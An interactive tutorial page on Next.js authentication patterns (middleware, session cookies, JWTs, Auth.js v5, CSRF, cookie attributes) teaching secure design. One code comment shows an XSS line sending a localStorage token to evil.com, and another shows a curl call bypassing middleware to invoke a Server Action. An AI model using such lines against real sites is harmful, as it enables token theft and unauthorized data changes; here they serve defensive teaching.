๐Ÿณ IntuitiveFE
Login
โ† All concepts

Next.js Auth Patterns

โฑ๏ธ ~5-minute bite ยท solve the sandbox to master

0%lesson
๐Ÿง’

5-Year-Old Metaphor

โ€” The physical, real-world picture. No jargon.

๐Ÿšง Middleware = bouncer. ๐ŸŽซ Cookie session = wristband. ๐Ÿ”‘ JWT = passport.

The venue analogy

Middleware (bouncer at the door): checks everyone before they enter. If you don't have a wristband, you're turned away at the gate โ€” you never reach the dance floor. Fast, but the bouncer can be bypassed if there's a side door (direct API call).

Cookie session (wristband): proves you paid and were checked in. Checked at each attraction inside the venue. Stamped by the venue itself โ€” hard to forge. But it's just a lookup key โ€” the real data is stored at the wristband desk (Redis).

JWT (passport): self-contained document. Any official at any border can verify the stamp without calling the issuing country. But if stolen, it stays valid until it expires โ€” no way to cancel it mid-flight.

Auth layer map

js
1ย 
2 Request
3 โ”‚
4 โ–ผ
5 middleware.ts (Edge)
6 โ”œโ”€ Public path? โ†’ NextResponse.next()
7 โ”œโ”€ No token? โ†’ redirect("/login")
8 โ””โ”€ Valid token โ†’ inject x-user-id header
9 โ”‚
10 โ–ผ
11 Route Handler / Server Component
12 โ”œโ”€ Read x-user-id from headers (safe โ€” set by middleware)
13 โ””โ”€ OR call auth() / getSession() for fresh verification
14 โ”‚
15 โ–ผ (for mutations)
16 Server Action
17 โ””โ”€ MUST call requireAuth() directly
18 middleware does NOT protect this

The critical insight: middleware is not a security boundary for mutations

Middleware runs for page navigation. But Server Actions can be triggered by a direct fetch() call to the action URL โ€” no middleware involved. A malicious user can craft a request that skips the middleware entirely. Your Server Action must validate auth itself, before doing anything.

Middleware

UX redirects โ€” sends unauthenticated users to /login

Routes only

Server Component

Read auth from verified session โ€” display correct UI

Read-only

Server Action

Always re-validate before any mutation or sensitive read

Mutations โœ“

๐ŸŽ›๏ธ

Interactive Sandbox

โ€” Move something, see it react instantly.
Token lives:Server DB / Redis
Validated by:Session lookup on each request
1

Browser

POST /login

Credentials sent over HTTPS

2

Server

Creates session in DB/Redis

Stores userId, roles, expiry

3

Server

Set-Cookie: app_session=...

httpOnly; Secure; SameSite=Lax โ€” only the opaque ID goes to browser

4

Browser

GET /dashboard (Cookie: app_session=...)

Auto-attached on every same-origin request

5

Server

Decode sealed cookie โ†’ userId

iron-session decrypts client-side seal โ€” no DB round-trip needed with this approach

โš  Gotcha: iron-session stores session data encrypted in the cookie itself (no Redis needed), but you lose instant revocation โ€” you can't invalidate a client-side encrypted session until it expires.
๐Ÿ’ก Insight: Traditional sessions store data server-side and send an opaque ID. iron-session is a hybrid: it encrypts data client-side in the cookie. Fast, but consider the revocation trade-off.
Explored:๐ŸŽซ๐Ÿ”‘๐Ÿšงโšก๐Ÿ”
๐ŸŽฏ

Challenge

Where should you validate auth for a Server Action that mutates data?

Try it
๐ŸŽฏ

Why Should I Care?

โ€” The exact interview question + the bug it kills.

Interview Q&A

Q: When should you choose JWT over session cookies?

A: JWT is stateless โ€” useful for microservices where multiple servers need to validate tokens without a shared session DB. Session cookies require a central store but are easier to invalidate (just delete from DB).

js
1// JWT: any server verifies โ€” no shared state
2// Good for: microservices, mobile APIs, cross-domain auth
3const payload = await jwtVerify(token, key); // CPU only, no DB
4const userId = payload.userId; // claim embedded in token
5ย 
6// Session: must reach shared Redis on every request
7// Good for: web apps, instant revocation, admin panels
8const session = await getSession(); // may call Redis
9const userId = session.userId; // stored server-side

Q: Why use httpOnly cookies over localStorage for tokens?

A: httpOnly cookies are inaccessible to JavaScript โ€” XSS attacks can't steal them. localStorage tokens are vulnerable to any script running on the page, including injected third-party scripts.

js
1// โœ— localStorage โ€” any XSS can steal this
2localStorage.setItem("token", jwt);
3// attacker: fetch("https://evil.com?t=" + localStorage.token)
4ย 
5// โœ“ httpOnly cookie โ€” JS cannot read it at all
6// Set by server: Set-Cookie: token=...; HttpOnly; Secure
7// document.cookie will NOT include httpOnly cookies
8// fetch() will auto-send it but cannot read it
9ย 
10// โœ“ For access tokens that must be in JS memory:
11// Store in a module-level variable โ€” lost on page refresh
12// (that's OK โ€” refresh token in httpOnly cookie re-issues it)

Q: Should you duplicate auth checks in middleware AND server actions?

A: Yes. Middleware protects routes for UX redirects. Server Actions must re-validate because middleware can be bypassed by direct API calls. Never trust middleware alone for mutations.

ts
1// middleware.ts โ€” protects the PAGE from loading
2// Can be bypassed: curl -X POST /app/actions/deletePost \
3// -H "Next-Action: <action-id>" -d '{"postId":1}'
4// ^ No browser navigation = middleware never runs
5ย 
6// server action โ€” the REAL security boundary
7"use server";
8export async function deletePost(postId: number) {
9 const user = await requireAuth(); // re-verify every time
10 await requireOwnership(postId, user.id); // also check ownership
11 await db.post.delete({ where: { id: postId } });
12}
๐Ÿ”ฌ

The Deep Dive

โ€” Spec refs, engine internals, the minutiae.

Auth.js v5: auth.ts config

Auth.js v5 (NextAuth) uses a single auth.ts config file that exports named helpers. The old authOptions object + getServerSession(authOptions) pattern is gone in v5.

js
1// auth.ts โ€” the entire Auth.js config
2import NextAuth from "next-auth";
3import GitHub from "next-auth/providers/github";
4ย 
5export const { handlers, auth, signIn, signOut } = NextAuth({
6 providers: [GitHub],
7 callbacks: {
8 // Add custom fields to every session
9 async session({ session, user }) {
10 session.user.id = user.id; // from DB adapter
11 session.user.role = user.role; // custom field you added
12 return session;
13 },
14 // Control who can sign in
15 async signIn({ user, account }) {
16 if (account?.provider === "github") {
17 // Example: only allow @yourcompany.com emails
18 return user.email?.endsWith("@yourcompany.com") ?? false;
19 }
20 return true;
21 },
22 },
23 pages: {
24 signIn: "/login", // custom sign-in page
25 error: "/auth/error", // custom error page
26 },
27});
28ย 
29// Usage in Server Component or Server Action:
30const session = await auth(); // reads + validates session
31if (!session) redirect("/login");

CSRF protection: how Auth.js handles it automatically

Auth.js generates a random state parameter for every OAuth redirect, stores it in a signed cookie, and verifies it on callback. This prevents CSRF: an attacker can't initiate a login flow on your behalf because they can't predict or forge the state value. For custom forms, use Auth.js's getCsrfToken().

js
1// Auth.js OAuth CSRF flow (automatic):
2// 1. GET /api/auth/signin/github
3// โ†’ server generates state=<random>, stores in signed cookie
4// โ†’ redirects to GitHub with &state=<random>
5//
6// 2. GitHub redirects back: /api/auth/callback/github?code=X&state=<random>
7// โ†’ Auth.js reads state from cookie, compares to query param
8// โ†’ mismatch = CSRF attempt, request rejected
9// โ†’ match = continue token exchange
10ย 
11// For custom form sign-in:
12// app/login/page.tsx
13import { getCsrfToken } from "next-auth/react";
14ย 
15export default async function LoginPage() {
16 const csrfToken = await getCsrfToken();
17 return (
18 <form action="/api/auth/callback/credentials" method="POST">
19 <input name="csrfToken" type="hidden" value={csrfToken} />
20 {/* email, password inputs */}
21 </form>
22 );
23}

Cookie attributes: httpOnly, sameSite, secure

AttributeWhat it doesAuth usage
HttpOnlyPrevents JS from reading via document.cookieAlways set on session/JWT cookies โ€” blocks XSS theft
SecureCookie only sent over HTTPSRequired in production โ€” prevents network interception
SameSite=StrictCookie not sent on cross-site requests at allMaximum CSRF protection โ€” breaks OAuth flows (use Lax instead)
SameSite=LaxSent on same-site + top-level navigation GETAuth.js default โ€” balances CSRF protection with OAuth compatibility
SameSite=NoneSent on all cross-site requestsRequired for embedded iframes โ€” must pair with Secure

Why to never store sensitive data in JWTs

JWT payload is Base64url encoded โ€” NOT encrypted. Anyone who intercepts the cookie (server logs, CDN logs, proxy logs) can decode the claims in seconds. The signature prevents tampering but provides no confidentiality.

js
1// Anyone can decode JWT payload with one line:
2atob("eyJ1c2VySWQiOjQyLCJyb2xlIjoiYWRtaW4ifQ==")
3// โ†’ {"userId":42,"role":"admin"}
4ย 
5// What's safe in JWT payload:
6{ userId: 42, role: "member", exp: 1234567890 }
7ย 
8// What's NOT safe in JWT payload:
9{ userId: 42, ssn: "123-45-6789" } // PII
10{ userId: 42, passwordHash: "..." } // credentials
11{ userId: 42, creditCard: "..." } // payment data
12ย 
13// If you need encrypted JWTs: use JWE (JSON Web Encryption)
14// jose library supports JWE with AES-256-GCM
15import { EncryptJWT } from "jose";
16const jwe = await new EncryptJWT(payload)
17 .setProtectedHeader({ alg: "dir", enc: "A256GCM" })
18 .encrypt(encryptionKey); // payload now actually encrypted
๐ŸŽค

Interview Questions

โ€” Real questions from real interviews โ€” with answers.

Middleware only intercepts page navigation โ€” Server Actions can be called directly via fetch, bypassing it.

httpOnly cookies are inaccessible to JavaScript โ€” XSS can't read them.

JWT for stateless multi-service auth; database sessions for instant revocation and rich server-side data.

Named exports replace authOptions; auth() replaces getServerSession(authOptions); App Router compatible.

Use the session callback to merge extra user fields from the DB adapter into the session object.

๐ŸŽฎ

Memory Game

โ€” Quick quiz โ€” lock the concept in long-term memory.
1/4

What is the main trade-off of JWT sessions vs. database sessions for revocation?